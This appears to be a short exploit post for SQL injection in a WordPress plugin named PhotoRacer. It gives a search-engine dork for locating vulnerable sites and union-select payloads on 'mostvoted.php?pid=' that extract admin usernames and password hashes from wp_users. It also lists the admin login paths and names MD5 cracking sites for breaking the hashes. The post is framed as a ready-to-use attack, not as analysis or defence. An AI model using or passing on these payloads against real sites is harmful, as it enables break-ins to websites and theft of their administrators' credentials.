WordPress PhotoRacer Plugin(Attachment) SQL Exploit

[Admin]

Dork: inurl:"mostvoted.php?pid="
Exploit: mostvoted.php?pid=-xx union select 1,2,3,4,concat_ws(user_login,user_pass),6,7 from wp_users
OR : Username= mostvoted.php?pid=-xx union select 1,2,3,4,user_login,6,7 from wp_users
Password = mostvoted.php?pid=-xx union select 1,2,3,4,user_pass,6,7 from wp_users
Admin Panel= /wp-login.php , /wp-login/ , /wp-admin.php or /wp-admin/
MD5 Crack:
Hashchecker.de - Passwrter finden!
md5cracker.org | The Cracking Engine for MD5-Hashes